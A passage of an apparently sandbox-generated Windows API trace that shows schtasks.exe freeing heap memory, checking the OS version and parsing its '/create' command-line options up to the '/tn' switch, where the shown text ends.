HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dd70 | out: hHeap=0x2f0000) returned 1 [0142.864] GetProcessHeap () returned 0x2f0000 [0142.864] GetProcessHeap () returned 0x2f0000 [0142.864] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cce0) returned 1 [0142.864] GetProcessHeap () returned 0x2f0000 [0142.864] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cce0) returned 0x20 [0142.864] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cce0 | out: hHeap=0x2f0000) returned 1 [0142.864] GetProcessHeap () returned 0x2f0000 [0142.864] GetProcessHeap () returned 0x2f0000 [0142.864] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ddf0) returned 1 [0142.864] GetProcessHeap () returned 0x2f0000 [0142.864] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ddf0) returned 0x8 [0142.864] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ddf0 | out: hHeap=0x2f0000) returned 1 [0142.864] GetProcessHeap () returned 0x2f0000 [0142.864] GetProcessHeap () returned 0x2f0000 [0142.864] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd10) returned 1 [0142.864] GetProcessHeap () returned 0x2f0000 [0142.864] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd10) returned 0x20 [0142.865] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd10 | out: hHeap=0x2f0000) returned 1 [0142.865] GetProcessHeap () returned 0x2f0000 [0142.865] GetProcessHeap () returned 0x2f0000 [0142.865] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d580) returned 1 [0142.865] GetProcessHeap () returned 0x2f0000 [0142.865] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d580) returned 0x10 [0142.865] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d580 | out: hHeap=0x2f0000) returned 1 [0142.865] GetProcessHeap () returned 0x2f0000 [0142.865] GetProcessHeap () returned 0x2f0000 [0142.865] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd40) returned 1 [0142.865] GetProcessHeap () returned 0x2f0000 [0142.865] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd40) returned 0x20 [0142.865] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd40 | out: hHeap=0x2f0000) returned 1 [0142.865] GetProcessHeap () returned 0x2f0000 [0142.865] GetProcessHeap () returned 0x2f0000 [0142.865] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30de10) returned 1 [0142.865] GetProcessHeap () returned 0x2f0000 [0142.865] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30de10) returned 0x6 [0142.866] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30de10 | out: hHeap=0x2f0000) returned 1 [0142.866] GetProcessHeap () returned 0x2f0000 [0142.866] GetProcessHeap () returned 0x2f0000 [0142.866] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd70) returned 1 [0142.866] GetProcessHeap () returned 0x2f0000 [0142.866] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd70) returned 0x20 [0142.866] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd70 | out: hHeap=0x2f0000) returned 1 [0142.866] GetProcessHeap () returned 0x2f0000 [0142.866] GetProcessHeap () returned 0x2f0000 [0142.866] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9b0) returned 1 [0142.866] GetProcessHeap () returned 0x2f0000 [0142.866] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b9b0) returned 0x18 [0142.866] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9b0 | out: hHeap=0x2f0000) returned 1 [0142.866] SetLastError (dwErrCode=0x0) [0142.866] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0142.866] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0142.866] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0142.867] VerifyVersionInfoW (in: lpVersionInformation=0x1dc690, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1dc690) returned 1 [0142.867] SetLastError (dwErrCode=0x0) [0142.867] lstrlenW (lpString="create") returned 6 [0142.867] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0142.867] SetLastError (dwErrCode=0x490) [0142.867] SetLastError (dwErrCode=0x0) [0142.867] lstrlenW (lpString="create") returned 6 [0142.867] GetProcessHeap () returned 0x2f0000 [0142.867] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd70 [0142.867] GetProcessHeap () returned 0x2f0000 [0142.867] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d580 [0142.867] _memicmp (_Buf1=0x30d580, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.867] GetProcessHeap () returned 0x2f0000 [0142.867] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x16) returned 0x30d500 [0142.867] SetLastError (dwErrCode=0x0) [0142.867] _memicmp (_Buf1=0x30ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.867] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30bc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0142.867] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0142.867] GetProcessHeap () returned 0x2f0000 [0142.868] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x74e) returned 0x30dd70 [0142.868] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x30dd70 | out: lpData=0x30dd70) returned 1 [0142.868] VerQueryValueW (in: pBlock=0x30dd70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1dc778, puLen=0x1dc7e0 | out: lplpBuffer=0x1dc778*=0x30e10c, puLen=0x1dc7e0) returned 1 [0142.868] _memicmp (_Buf1=0x30ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.868] _vsnwprintf (in: _Buffer=0x30bc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1dc758 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0142.868] VerQueryValueW (in: pBlock=0x30dd70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1dc7e8, puLen=0x1dc7d8 | out: lplpBuffer=0x1dc7e8*=0x30df38, puLen=0x1dc7d8) returned 1 [0142.868] lstrlenW (lpString="schtasks.exe") returned 12 [0142.868] lstrlenW (lpString="schtasks.exe") returned 12 [0142.868] lstrlenW (lpString=".EXE") returned 4 [0142.868] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0142.868] lstrlenW (lpString="schtasks.exe") returned 12 [0142.868] lstrlenW (lpString=".EXE") returned 4 [0142.868] lstrlenW (lpString="schtasks") returned 8 [0142.868] lstrlenW (lpString="/create") returned 7 [0142.868] _memicmp (_Buf1=0x30ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.868] _vsnwprintf (in: _Buffer=0x30bc10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1dc758 | out: _Buffer="schtasks /create") returned 16 [0142.869] _memicmp (_Buf1=0x30ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.869] GetProcessHeap () returned 0x2f0000 [0142.869] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd40 [0142.869] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.869] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0142.869] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0142.869] GetProcessHeap () returned 0x2f0000 [0142.869] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x30) returned 0x307ab0 [0142.869] _vsnwprintf (in: _Buffer=0x30c010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1dc758 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0142.869] GetProcessHeap () returned 0x2f0000 [0142.869] GetProcessHeap () returned 0x2f0000 [0142.869] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dd70) returned 1 [0142.869] GetProcessHeap () returned 0x2f0000 [0142.869] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dd70) returned 0x74e [0142.869] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dd70 | out: hHeap=0x2f0000) returned 1 [0142.869] SetLastError (dwErrCode=0x0) [0142.869] GetThreadLocale () returned 0x409 [0142.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.870] lstrlenW (lpString="create") returned 6 [0142.870] GetThreadLocale () returned 0x409 [0142.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.870] lstrlenW (lpString="?") returned 1 [0142.870] GetThreadLocale () returned 0x409 [0142.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.870] lstrlenW (lpString="s") returned 1 [0142.870] GetThreadLocale () returned 0x409 [0142.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.870] lstrlenW (lpString="u") returned 1 [0142.870] GetThreadLocale () returned 0x409 [0142.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.870] lstrlenW (lpString="p") returned 1 [0142.870] GetThreadLocale () returned 0x409 [0142.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.870] lstrlenW (lpString="ru") returned 2 [0142.870] GetThreadLocale () returned 0x409 [0142.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.870] lstrlenW (lpString="rp") returned 2 [0142.870] GetThreadLocale () returned 0x409 [0142.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.870] lstrlenW (lpString="sc") returned 2 [0142.870] GetThreadLocale () returned 0x409 [0142.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.870] lstrlenW (lpString="mo") returned 2 [0142.870] GetThreadLocale () returned 0x409 [0142.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.871] lstrlenW (lpString="d") returned 1 [0142.871] GetThreadLocale () returned 0x409 [0142.871] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.871] lstrlenW (lpString="m") returned 1 [0142.871] GetThreadLocale () returned 0x409 [0142.871] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.871] lstrlenW (lpString="i") returned 1 [0142.871] GetThreadLocale () returned 0x409 [0142.871] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.871] lstrlenW (lpString="tn") returned 2 [0142.871] GetThreadLocale () returned 0x409 [0142.871] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.871] lstrlenW (lpString="tr") returned 2 [0142.871] GetThreadLocale () returned 0x409 [0142.871] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.871] lstrlenW (lpString="st") returned 2 [0142.871] GetThreadLocale () returned 0x409 [0142.871] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.871] lstrlenW (lpString="sd") returned 2 [0142.871] GetThreadLocale () returned 0x409 [0142.871] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.871] lstrlenW (lpString="ed") returned 2 [0142.871] GetThreadLocale () returned 0x409 [0142.871] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.871] lstrlenW (lpString="it") returned 2 [0142.871] GetThreadLocale () returned 0x409 [0142.871] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.871] lstrlenW (lpString="et") returned 2 [0142.871] GetThreadLocale () returned 0x409 [0142.871] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.872] lstrlenW (lpString="k") returned 1 [0142.872] GetThreadLocale () returned 0x409 [0142.872] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.872] lstrlenW (lpString="du") returned 2 [0142.872] GetThreadLocale () returned 0x409 [0142.872] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.872] lstrlenW (lpString="ri") returned 2 [0142.872] GetThreadLocale () returned 0x409 [0142.872] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.872] lstrlenW (lpString="z") returned 1 [0142.872] GetThreadLocale () returned 0x409 [0142.872] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.872] lstrlenW (lpString="f") returned 1 [0142.872] GetThreadLocale () returned 0x409 [0142.872] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.872] lstrlenW (lpString="v1") returned 2 [0142.872] GetThreadLocale () returned 0x409 [0142.872] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.872] lstrlenW (lpString="xml") returned 3 [0142.872] GetThreadLocale () returned 0x409 [0142.872] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.872] lstrlenW (lpString="ec") returned 2 [0142.872] GetThreadLocale () returned 0x409 [0142.872] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.872] lstrlenW (lpString="rl") returned 2 [0142.872] GetThreadLocale () returned 0x409 [0142.892] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.892] lstrlenW (lpString="delay") returned 5 [0142.892] GetThreadLocale () returned 0x409 [0142.892] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.892] lstrlenW (lpString="np") returned 2 [0142.892] SetLastError (dwErrCode=0x0) [0142.892] SetLastError (dwErrCode=0x0) [0142.893] lstrlenW (lpString="/create") returned 7 [0142.893] lstrlenW (lpString="-/") returned 2 [0142.893] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.893] lstrlenW (lpString="create") returned 6 [0142.893] lstrlenW (lpString="create") returned 6 [0142.893] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.893] lstrlenW (lpString="create") returned 6 [0142.893] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.893] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|create|") returned 8 [0142.893] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|create|") returned 8 [0142.893] lstrlenW (lpString="|create|") returned 8 [0142.893] lstrlenW (lpString="|create|") returned 8 [0142.893] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0142.893] SetLastError (dwErrCode=0x0) [0142.893] SetLastError (dwErrCode=0x0) [0142.893] SetLastError (dwErrCode=0x0) [0142.893] lstrlenW (lpString="/tn") returned 3 [0142.893] lstrlenW (lpString="-/") returned 2 [0142.893] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.893] lstrlenW (lpString="create") returned 6 [0142.893] lstrlenW (lpString="create") returned 6 [0142.893] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.893] lstrlenW (lpString="tn") returned 2 [0142.893] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.893] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|create|") returned 8 [0142.893] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.893] lstrlenW (lpString="|create|") returned 8 [0142.893] lstrlenW (lpString="|tn|") returned 4 [0142.893] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0142.893] SetLastError (dwErrCode=0x490) [0142.894] lstrlenW (lpString="?") returned 1 [0142.894] lstrlenW (lpString="?") returned 1 [0142.894] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.894] lstrlenW (lpString="tn") returned 2 [0142.894] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.894] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|?|") returned 3 [0142.894] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.894] lstrlenW (lpString="|?|") returned 3 [0142.894] lstrlenW (lpString="|tn|") returned 4 [0142.894] SetLastError (dwErrCode=0x490) [0142.894] lstrlenW (lpString="s") returned 1 [0142.894] lstrlenW (lpString="s") returned 1 [0142.894] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.894] lstrlenW (lpString="tn") returned 2 [0142.894] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.894] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|s|") returned 3 [0142.894] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.894] lstrlenW (lpString="|s|") returned 3 [0142.894] lstrlenW (lpString="|tn|") returned 4 [0142.894] SetLastError (dwErrCode=0x490) [0142.894] lstrlenW (lpString="u") returned 1 [0142.894] lstrlenW (lpString="u") returned 1 [0142.894] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.894] lstrlenW (lpString="tn") returned 2 [0142.894] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.894] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|u|") returned 3 [0142.894] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.894] lstrlenW (lpString="|u|") returned 3 [0142.894] lstrlenW (lpString="|tn|") returned 4 [0142.894] SetLastError (dwErrCode=0x490) [0142.894] lstrlenW (lpString="p") returned 1 [0142.895] lstrlenW (lpString="p") returned 1 [0142.895] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.895] lstrlenW (lpString="tn") returned 2 [0142.895] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.895] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|p|") returned 3 [0142.895] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.895] lstrlenW (lpString="|p|") returned 3 [0142.895] lstrlenW (lpString="|tn|") returned 4 [0142.895] SetLastError (dwErrCode=0x490) [0142.895] lstrlenW (lpString="ru") returned 2 [0142.895] lstrlenW (lpString="ru") returned 2 [0142.895] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.895] lstrlenW (lpString="tn") returned 2 [0142.895] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.895] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|ru|") returned 4 [0142.895] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.895] lstrlenW (lpString="|ru|") returned 4 [0142.895] lstrlenW (lpString="|tn|") returned 4 [0142.895] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0142.895] SetLastError (dwErrCode=0x490) [0142.895] lstrlenW (lpString="rp") returned 2 [0142.895] lstrlenW (lpString="rp") returned 2 [0142.895] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.895] lstrlenW (lpString="tn") returned 2 [0142.895] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.895] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rp|") returned 4 [0142.895] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.895] lstrlenW (lpString="|rp|") returned 4 [0142.895] lstrlenW (lpString="|tn|") returned 4 [0142.895] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0142.895] SetLastError (dwErrCode=0x490) [0142.896] lstrlenW (lpString="sc") returned 2 [0142.896] lstrlenW (lpString="sc") returned 2 [0142.896] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.896] lstrlenW (lpString="tn") returned 2 [0142.896] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.896] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.896] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.896] lstrlenW (lpString="|sc|") returned 4 [0142.896] lstrlenW (lpString="|tn|") returned 4 [0142.896] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0142.896] SetLastError (dwErrCode=0x490) [0142.896] lstrlenW (lpString="mo") returned 2 [0142.896] lstrlenW (lpString="mo") returned 2 [0142.896] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.896] lstrlenW (lpString="tn") returned 2 [0142.896] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.896] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|mo|") returned 4 [0142.896] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.896] lstrlenW (lpString="|mo|") returned 4 [0142.896] lstrlenW (lpString="|tn|") returned 4 [0142.896] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0142.896] SetLastError (dwErrCode=0x490) [0142.896] lstrlenW (lpString="d") returned 1 [0142.896] lstrlenW (lpString="d") returned 1 [0142.896] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.896] lstrlenW (lpString="tn") returned 2 [0142.896] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.896] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|d|") returned 3 [0142.896] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.896] lstrlenW (lpString="|d|") returned 3 [0142.897] lstrlenW (lpString="|tn|") returned 4 [0142.897] SetLastError (dwErrCode=0x490) [0142.897] lstrlenW (lpString="m") returned 1 [0142.897] lstrlenW (lpString="m") returned 1 [0142.897] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.897] lstrlenW (lpString="tn") returned 2 [0142.897] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.897] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|m|") returned 3 [0142.897] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.897] lstrlenW (lpString="|m|") returned 3 [0142.897] lstrlenW (lpString="|tn|") returned 4 [0142.897] SetLastError (dwErrCode=0x490) [0142.897] lstrlenW (lpString="i") returned 1 [0142.897] lstrlenW (lpString="i") returned 1 [0142.897] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.897] lstrlenW (lpString="tn") returned 2 [0142.897] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.897] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|i|") returned 3 [0142.897] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.897] lstrlenW (lpString="|i|") returned 3 [0142.897] lstrlenW (lpString="|tn|") returned 4 [0142.897] SetLastError (dwErrCode=0x490) [0142.897] lstrlenW (lpString="tn") returned 2 [0142.897] lstrlenW (lpString="tn") returned 2 [0142.897] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.897] lstrlenW (lpString="tn") returned 2 [0142.897] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.897] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.897] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.897] lstrlenW (lpString="|tn|") returned 4 [0142.897] lstrlenW (lpString="|tn|") returned 4 [0142.898] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0142.898] 